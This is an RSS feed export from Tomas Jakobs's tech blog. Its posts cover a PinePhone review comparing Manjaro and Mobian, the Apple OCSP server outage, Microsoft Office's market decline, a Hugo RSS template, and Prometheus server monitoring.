&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-content.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-content.webp#c" alt="PinePhone unboxed" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="the-holy-unboxing">The Holy Unboxing&lt;/h2>
&lt;p>The shipment arrived within 3 days directly from within the EU. No special customs or import taxes were charged. The price was about 270,- EUR, directly ordered in the pineshop. The package is small and unimpressive and arrived simultaneously with my Multi-SIM. I will continue to use my current iOS-Smartphone in parallel.&lt;/p>
&lt;p>I do not agree with Golem&amp;rsquo;s description of the removable backside of the pinphone&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>. For me as an early adopter of the iPhone, it just looks like another Android device. In fact, the hardware as a whole is rather located in the lower midfield with its Quad-Core Allwinner ARM64 Cortex-A53 CPU&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> and its IPS display with 1440x720 pixels @ 271 ppi on 5.95 inch. Whoever comes from any current iOS Retina device will feel a certain &amp;ldquo;falloff height&amp;rdquo;.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-open.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-open.webp#c" alt="PinePhone opend" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The USB3 Convergence Dock is made of durable aluminium. The privacy DIP switches for hardware-based switching off the cameras, radios or microphone and the I2C pins&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> add to the positive overall impression. The idea behind the implementation of the pogo pins&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> is that in the near future shells can enhance the device with additional functionality.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-convergence.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-convergence.webp#c" alt="PinePhone in convergence mode" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="manjaro-is-just-crap">Manjaro is just crap&lt;/h2>
&lt;p>The Manjaro Linux was &amp;ldquo;pre-loaded&amp;rdquo;. For all those who searched for the pin after powering on: &amp;ldquo;1234&amp;rdquo;. Having said this in advance, Manjaro is a toy and it comes with almost fatal, if not dangerous settings. To give you an example: Every device is shipped with an open SSH server. Regarding the default user and the entropy&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> of a PIN consisting out of numbers from 0 to 9 we don&amp;rsquo;t have to discuss any further.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-manjaro.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-manjaro.webp#c" alt="PinePhone Manjaro" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The bad: It looks like a very conscious design choice. I see all those devices running all over the world with open ssh ports. That fits in the picture with the numerous pre-installed messengers.&lt;/p>
&lt;p>I didn&amp;rsquo;t know Manjaro before, but I felt quite bullied constantly by pacman. However, it was good enough to play around a while and to familiarise with it. With the end-user in view, distributions like Mint, Ubuntu or Manjaro have a reason to exist. One nice thing about free hardware: Everyone is entitled to his or her own choice!&lt;/p>
&lt;p>Therefore, on the same evening I decided to go to Mobian&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup>. Thanks to the bootable SDCard you can either boot a new image directly or copy it with dd to the internal MMC. I have never been able to push an image from A to B so fast and comfortable. But at the same time I noted for myself &amp;ldquo;Disk Encryption&amp;rdquo; on my virtual To-Do list.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-mobian.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-mobian.webp#c" alt="PinePhone with Mobian" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="debian-cannot-be-considered-as-ready">Debian cannot be considered as ready&lt;/h2>
&lt;p>The first impression: Mobian feels &amp;ldquo;snappier&amp;rdquo;. In stark contrast to Manjaro, the conversion of the UI to the German language worked at first try.&lt;/p>
&lt;p>But there are a couple of quirks and surprises in Debian aswell. Firstly I could not find the terminal. Out of desperation I already wanted to look under Software when half on the way the icon &amp;ldquo;Kings-Cross&amp;rdquo; caught my attention. I was used to a tube app when I was in London and asked myself what the heck is such an app doing on my new device? Note to the guys and gals at Debian: You got me, not funny!&lt;/p>
&lt;p>I&amp;rsquo;m not sure which browser I want to use on the device in the future. The Gnome Web Browser is clearly better adapted to a mobile device than the much slower and somehow &amp;ldquo;alien&amp;rdquo; looking Firefox.&lt;/p>
&lt;p>Numerous missing packages like htop, iftop, gnupg, seahorse, net-tools, openvpn, openssh were quickly installed. I think out of all Debian versions this is the one with the latest gnome without being on sid.&lt;/p>
&lt;p>Since I believe nobody understood the previous sentence, there is an overview in the wiki what is not implemented yet and/or works in a limited fashion&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup>. There is also a software wishlist&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>The sync with my Nextcloud and the transfer of contacts, tasks and calendar items works like a charm as usual with Gnome. I have not installed the fat Nextcloud client due to the fact that I only need my contacts and templates on the phone.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-call.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-call.webp#c" alt="PinePhone" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>File access to my cloud also works with the normal Gnome file-manager. There is some disappointment about the Gnome Calendar App which has not been adjusted for smaller displays yet. I also need to abstain from streaming music from my Nextcloud via subsonic/ampache.&lt;/p>
&lt;h2 id="interim-conclusion-after-one-evening">Interim conclusion after one evening&lt;/h2>
&lt;p>Until well after midnight I worked on my Mobian, created an extra user, SSH certificates and deactivated the SIM pin. After all, it is not a consumer device yet and far from being seriously considered as dailydriver. But the direction is right. I would strongly recommend to order the Convergence Package with it, otherwise I really would have been frustrated without it.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/linux-phone-htop.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/linux-phone-htop.webp#c" alt="PinePhone htop" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The basic functions are working and I am optimistic to have a working device within the next 1-2 years. Until then, I keep my iPhone in parallel operation thanks to Multi-SIM. There won&amp;rsquo;t be a new Apple device anymore.&lt;/p>
&lt;p>More parts of this series will follow soon.&lt;br>
Have fun and stay healthy until then!&lt;/p>
&lt;p>Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://netzpolitik.org/2019/schmeisst-die-assistenzwanzen-aus-dem-fenster/">https://netzpolitik.org/2019/schmeisst-die-assistenzwanzen-aus-dem-fenster/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Nudge">https://de.wikipedia.org/wiki/Nudge&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20201113-mac-ocsp-down/">https://blog.jakobs.systems/micro/20201113-mac-ocsp-down/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://www.pine64.org/pinephone/">https://www.pine64.org/pinephone/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>🚫 &lt;a href="https://www.golem.de/news/software-restriktionen-kameras-des-iphone-12-nicht-von-dritten-reparierbar-2010-151847.html">https://www.golem.de/news/software-restriktionen-kameras-des-iphone-12-nicht-von-dritten-reparierbar-2010-151847.html&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://www.pine64.org/2020/08/31/pinephone-manjaro-community-edition/">https://www.pine64.org/2020/08/31/pinephone-manjaro-community-edition/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://www.golem.de/news/pinephone-im-test-das-etwas-pineliche-linux-phone-fuer-bastler-2010-151515.html">https://www.golem.de/news/pinephone-im-test-das-etwas-pineliche-linux-phone-fuer-bastler-2010-151515.html&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="http://linux-sunxi.org/A64">http://linux-sunxi.org/A64&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/I%C2%B2C">https://de.wikipedia.org/wiki/I%C2%B2C&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://wiki.pine64.org/index.php/PinePhone#Pogo_pins">https://wiki.pine64.org/index.php/PinePhone#Pogo_pins&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Entropie_(Kryptologie)">https://de.wikipedia.org/wiki/Entropie_(Kryptologie)&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://mobian-project.org/">https://mobian-project.org/&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://wiki.mobian-project.org/">https://wiki.mobian-project.org/&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://wiki.mobian-project.org/doku.php?id=wishlist">https://wiki.mobian-project.org/doku.php?id=wishlist&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Example for Digital Sovereignty</title><link>https://blog.jakobs.systems/en/micro/20201113-mac-ocsp-down/</link><pubDate>Fri, 13 Nov 2020 10:30:30 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201113-mac-ocsp-down/</guid><description>Worst Case Szenario bei Apple</description><category>Apple</category><category>Bugs</category><category>App</category><category>Server</category><category>Security</category><content>&lt;p>What a pity, this is exactly the scenario I first expected for Microsoft. But I&amp;rsquo;m not really surprised that Apple is now ahead, what happened?&lt;/p>
&lt;p>The ocsp.apple.com server was apparently down and/or unreachable between yesterday and today&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>. Unfortunately macOS tries to reach it every time an app is opened to check if a certificate has expired&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> or an app has been retracted or some more magic. Of course this is not transparent, closed-source and therefore not verifiable.&lt;/p>
&lt;p>The fact that an Apple device can be offline is taken into account and considered as &amp;ldquo;soft failure&amp;rdquo;. However, a failure by Apple itself seems to be quite an impossibility and is obviously not considered.&lt;/p>
&lt;p>The result is an illustrative example for digital sovereignty: Now the expensive piece of aluminium can only be used as a warming plate for the cat:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/cat-on-mac.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/cat-on-mac.webp#c" alt="Cat on Mac" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>By the way: Those who use a personal firewall like LitteSnitch&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> or a real one like ipfire.org&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> can continue to work normally. But no guarantee that this will work in the long run. For sure there are some time limits and undocumented features.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>🚫 &lt;a href="https://nitter.net/lapcatsoftware/status/1326990296412991489">https://nitter.net/lapcatsoftware/status/1326990296412991489&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Online_Certificate_Status_Protocol">https://de.wikipedia.org/wiki/Online_Certificate_Status_Protocol&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://www.obdev.at/products/littlesnitch/index.html">https://www.obdev.at/products/littlesnitch/index.html&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://ipfire.org/">https://ipfire.org/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Xojo User Meeting 06.11.2020, 1800 LT</title><link>https://blog.jakobs.systems/en/micro/20201105-xojo-user-meeting/</link><pubDate>Thu, 05 Nov 2020 09:45:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201105-xojo-user-meeting/</guid><description/><category>Webinar</category><category>XOJO</category><category>Meeting</category><content>&lt;p>A new XOJO User Meeting (in german) is scheduled for this November, 6th 2020 at 1800 LT.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Topics&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Made with XOJO project review by Michael Eckert&lt;/li>
&lt;li>maybe Arbed - not yet confirmed&lt;/li>
&lt;/ul>
&lt;/blockquote>
&lt;p>Duration: 45 Min.&lt;br>
Followed by smalltalk/ hangout with open end, Chatham House Rule applies.&lt;/p>
&lt;p>Link to Conference-room: &lt;a href="https://meet.jakobs.systems/b/tom-kks-v5k-xka">https://meet.jakobs.systems/b/tom-kks-v5k-xka&lt;/a>&lt;/p>
&lt;p>&lt;del>The passwort will be published here and in XOJO Forum couple of hours short of the Meeting.&lt;/del>&lt;/p>
&lt;p>&lt;del>The passwort is: 384266&lt;/del>&lt;/p>
&lt;p>Everybody is welcome.&lt;/p>
&lt;p>See you!&lt;/p></content></item><item><title>Microsoft Office in Decline</title><link>https://blog.jakobs.systems/en/blog/20201103-microsoft-office/</link><pubDate>Tue, 03 Nov 2020 10:45:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20201103-microsoft-office/</guid><description>Who's still using Microsoft Office?</description><category>Concepts</category><category>Microsoft</category><category>Office</category><content>&lt;p>The Microsoft cashcow gets scratches. This is not what I write but what the FAZ writes in its today&amp;rsquo;s article: &amp;ldquo;The quasi-monopoly of Office gets scratches&amp;rdquo;&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Some might say the FAZ has no expertise in IT. Well aactually this could be correct, because their undisputed circle of competence is the economy. But this should make you even more concerned.&lt;/p>
&lt;p>According to a representative survey by the market research company Nielsen&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>, Microsoft&amp;rsquo;s position in its own US home market is now at only 80%, and the trend is continuing to decline. One reason for this development is that more and more people are working online and apps in a web browser are better acessible than their classic, locally installed counterparts.&lt;/p>
&lt;p>Here in Germany, 1023 employees in medium-sized and large companies were surveyed who spend more than half of their total workingtime with office apps. Fun fact: One third uses Microsoft Office for formatting only, not for producing documents. The creation and formatting of charts and tables is identified as the biggest time consuming factor. You would think that this is the core feature of Excel.&lt;/p>
&lt;p>I am very surprised about this figure: 71% say they need more training. In companies I rather meet persons who do not want to show any weakness and claim to have excellent office skills. Well when times are good, I ask quite subtle questions: How can I create a soft break without changing paragraphs in a Word document? How can I create automatic indexes with appropriate chapter captions in the page headers and footers?&lt;/p>
&lt;p>Isn&amp;rsquo;t it kind of tragic, as a non-Microsoft person who actively worked with Windows XP and Office 2003 more than 14 years ago, I have to explain functions and usage to others? From an operational point of view, something else is even more remarkable: Every 3 years, a new Microsoft Office is bought and rolled out in networks. Quite a lot of extra time and effort for a product that has neither altered its functionality or improved its core features in the past decades.&lt;/p>
&lt;p>Anyway, working with Word is so 1990s old school. Most of my texts - including this blog - are written in plain text in Markdown. Versioned with git on my own Gitea instance, free of any proprietary format and guaranteed readable in 20 years with whatever app or device.&lt;/p>
&lt;p>When a person is appointed as scriptor in a business meeting, I just think formyself a) poor slob and b) nobody in this group understands digitalization. It is quite normal to me to work with several people on a document simultaneously. I practice this in my Nextcloud&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> with the collaborative notes app, of course on my own server. I do this aswell in presentations and meetings on my own BBB conference server&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>, where everyone can highlight something using an own cursor on a slide. By the way nothing new as Doug Engelbart has already shown 52 years ago.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Anyone who says there is no alternative to Microsoft Office is not only ignoring the trends of today but unfortunately the future of its users aswell. Sadly to say, they often have to use it without been asked before.&lt;/p>
&lt;p>Best Regards&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.faz.net/aktuell/wirtschaft/digitec/das-quasi-monopol-von-microsoft-office-bekommt-kratzer-17032905.html">https://www.faz.net/aktuell/wirtschaft/digitec/das-quasi-monopol-von-microsoft-office-bekommt-kratzer-17032905.html&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/The_Nielsen_Company">https://de.wikipedia.org/wiki/The_Nielsen_Company&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://nextcloud.com">https://nextcloud.com&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://bigbluebutton.org/">https://bigbluebutton.org/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://vimeo.com/1408300">https://vimeo.com/1408300&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Combined RSS with fulltext</title><link>https://blog.jakobs.systems/en/micro/20201026-hugo-rss/</link><pubDate>Mon, 26 Oct 2020 05:00:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20201026-hugo-rss/</guid><description>Readers question</description><category>Hugo</category><category>Websites</category><category>Development</category><category>Opensource</category><content>&lt;p>This weekend, Jochen T. contacted me with an interesting question about Hugo and the theme I am using for this blog:&lt;/p>
&lt;blockquote>
&lt;p>I don&amp;rsquo;t understand how I can create a &amp;ldquo;normal&amp;rdquo; feed, I have searched for help, but found nothing. My feed only contains the categories &amp;ldquo;micro&amp;rdquo;, &amp;ldquo;blog&amp;rdquo; or &amp;ldquo;page&amp;rdquo;, but I would like to have a feed with the individual posts in full text (like you).&lt;/p>
&lt;/blockquote>
&lt;p>Due to the fact that others might have the same question, I answer this in the public of course after prior request and approval by Jochen.&lt;/p>
&lt;p>Well, the easy way is to check Hugos&amp;rsquo; config.toml first. Under [params.rss] and due to the fact I&amp;rsquo;m bilingual, under [languages.en.params.rss] aswell, please check if includeContent = true is set.&lt;/p>
&lt;p>If not sufficient, here is my /themes/kiss-em-master/layouts/_default/index.rss.xml file for copying and pasting. Looking into my git-repo, I can say that only the loop in .Site.Pages.ByDate.Reverse has been altered to reverse order alongside with an additionally if-clause:&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;lt;rss version=&amp;#34;2.0&amp;#34; xmlns:atom=&amp;#34;http://www.w3.org/2005/Atom&amp;#34;&amp;gt;
&amp;lt;channel&amp;gt;
&amp;lt;title&amp;gt;{{ if eq .Title.Site.Title }}{{ .Site.Title }}{{ else }}{{ with .Title }}{{.}} on {{ end }}{{ .Site.Title }}{{ end }}&amp;lt;/title&amp;gt;
&amp;lt;link&amp;gt;{{ .Permalink }}&amp;lt;/link&amp;gt;
&amp;lt;description&amp;gt;Recent content {{ if ne .Title.Site.Title }}{{ with .Title }}in {{.}} {{ end }}{{ end }}on {{ .Site.Title }}&amp;lt;/description&amp;gt;
&amp;lt;language&amp;gt;{{ .Site.Language }}&amp;lt;/language&amp;gt;
&amp;lt;contact&amp;gt;{{ $.Site.Params.rss.authorEmail }}&amp;lt;/contact&amp;gt;
&amp;lt;copyright&amp;gt;{{ .Site.Params.Info.Copyright | safeHTML}}&amp;lt;/copyright&amp;gt;
{{ with .OutputFormats.Get &amp;#34;RSS&amp;#34; }}
{{ printf &amp;#34;&amp;lt;atom:link href=%q rel=\&amp;#34;self\&amp;#34; type=%q /&amp;gt;&amp;#34; .Permalink .MediaType | safeHTML }}
{{ end }}
{{ range .Site.Pages.ByDate.Reverse }}
{{ if .Content }}
&amp;lt;item&amp;gt;
&amp;lt;title&amp;gt;{{ .Title }}&amp;lt;/title&amp;gt;
&amp;lt;link&amp;gt;{{ .Permalink }}&amp;lt;/link&amp;gt;
&amp;lt;pubDate&amp;gt;{{ .Date.Format &amp;#34;Mon, 02 Jan 2006 15:04:05 -0700&amp;#34; | safeHTML }}&amp;lt;/pubDate&amp;gt;
&amp;lt;author&amp;gt;{{ $.Site.Params.rss.authorName }}&amp;lt;/author&amp;gt;
&amp;lt;guid&amp;gt;{{ .Permalink }}&amp;lt;/guid&amp;gt;
&amp;lt;description&amp;gt;{{ .Description | html }}&amp;lt;/description&amp;gt;
{{ if $.Site.Params.rss.includeContent }}
&amp;lt;content&amp;gt;{{ .Content | html }}&amp;lt;/content&amp;gt;
{{ end }}
&amp;lt;/item&amp;gt;
{{ end }}
{{ end }}
&amp;lt;/channel&amp;gt;
&amp;lt;/rss&amp;gt;
&lt;/code>&lt;/pre>&lt;p>Hope this is helpful, Jochen.&lt;br>
Wish you and everybody a good start into the new week,&lt;/p>
&lt;p>Tomas Jakobs&lt;/p></content></item><item><title>Whitebox-Monitoring with Prometheus</title><link>https://blog.jakobs.systems/en/blog/20201025-monitoring-prometheus/</link><pubDate>Sun, 25 Oct 2020 12:22:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20201025-monitoring-prometheus/</guid><description>Server Monitoring with Prometheus</description><category>Concepts</category><category>Prometheus</category><category>Server</category><category>Monitoring</category><category>Opensource</category><content>&lt;p>Winter is coming! Winter time has already arrived, and soon the Corona Lockdown aswell.&lt;/p>
&lt;p>Sitting at home in the warmth with a cup of tea, having a complete overview of the IT is a good feeling. The catchword here is &amp;ldquo;complete&amp;rdquo;. I don&amp;rsquo;t rely on traditional blackbox monitoring solutions&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> but rather on the whitebox solution called Prometheus&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Behind Prometheus there is no single company but an initiative of various ones. The who-is-who of the tech industry with RedHat, Amazon, Apple, ARM and many others&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>. Of course Prometheus comes with a free licence and is completely open-source.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/prom-dashboard2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/prom-dashboard2.webp#c" alt="Dashboard of my servers" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Please do not be deceived by the beautiful Grafana dashboards&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> I have made for myself. The screenshots only demonstrate how a server failure is visually displayed. This is something everyone can accomplish with any other monitoring software. What really makes Prometheus so outstanding are the graphs, vectors and time-series behind all this eye-candy.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/prom-dashboard1.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/prom-dashboard1.webp#c" alt="Server failure on my dashboard" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>At best the 3 states for a host or the 4 states for a service in Icinga2 are quite sufficient for alerting. For many, but not for me!&lt;/p>
&lt;p>Wouldn&amp;rsquo;t it be much more smarter, not only to react to an event but also to know how it happened? Is it possible to detect and possibly prevent something proactively? Spoiler: Yes!&lt;/p>
&lt;p>Prometheus can be considered as a whitebox monitoring solution that enables you to do exactly that. It works with graphs and timeseries rather than with logs or events. Basically, the values resemble counters that are plotted on a time-line. While Icinga2 actively tries to fetch its values and others run round robin, Prometheus pulls&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> hundreds or even thousands of metrics through its HTTP requests. Surprisingly, this is done without a catch of higher load on the hosts or the network. Due to its federated design it even scales significantly better than any other centralised approach&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>For instance: Icinga2 pings a specific service once a minute and receives a response. However if 10 seconds before the service was blocked and 10 seconds after that, again, the world will still be fine for Icinga2 though the phones will already be ringing on the 1st level.&lt;/p>
&lt;p>As a software developer I really love the multidimensional queries in Prometheus with the query language PromQL. The tagging of metrics or the integration of webhooks offers a deep insight into microservices and third party applications. The following screenshot is showing such a PromQL query against my email server mx.jakobs.systems.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/promql.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/promql.webp#c" alt="PromQL" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>All 8 data points of each 4 Cores are queried. We are talking about querying hundreds of thousands, if not millions of data points, which are answered in just 171 ms on a small Intel 2-Core NUC. No traditional, relational DBMS/PHP stack can achieve this. On the left hand side you see the results over a period of 2 days, on the right hand side you see a zoomed-in version with an accuracy of one second.&lt;/p>
